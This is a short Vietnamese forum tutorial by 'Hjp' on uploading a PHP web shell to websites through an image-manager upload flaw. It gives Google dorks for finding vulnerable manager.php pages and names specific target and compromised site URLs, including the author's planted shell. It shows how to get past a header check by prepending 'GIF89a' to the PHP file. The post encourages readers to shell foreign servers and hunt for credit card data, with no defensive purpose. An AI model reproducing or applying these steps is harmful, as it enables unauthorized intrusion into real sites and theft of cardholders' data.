[TUT] Up shell thông qua bug up ảnh

Hôm qua lượn lờ thấy cái bug up ảnh hay hay

Google :

inurl:/public/imagemanager/manager.php

Được site

http://vstore.com.vn/public/imagemanager/manager.php

Thử up xem nào , sao ko up lên được nhỉ

Chắc là do nó kiếm tra header của file ảnh

Thì thêm header của file ảnh vào con shell xem nào

GIF89a
<?php

?>

Yeah ! Up lên được rồi

Nhưng sao tìm ra được có 2 site thôi

Thử mở rộng với google dork xem nào

inurl:"/plugins/imagemanager/manager.php" & intitle:Insert Image

Oh , Nhiều hơn rồi đấy

Toàn server nước ngoài , giờ anh em up shell và thưởng thức thôi , biết đâu kiếm đc cc

Thành quả đây

http://www.hotel-sachsenross.de/hjp.php

Tut ngắn gọn dễ hiểu



Tut by Hjp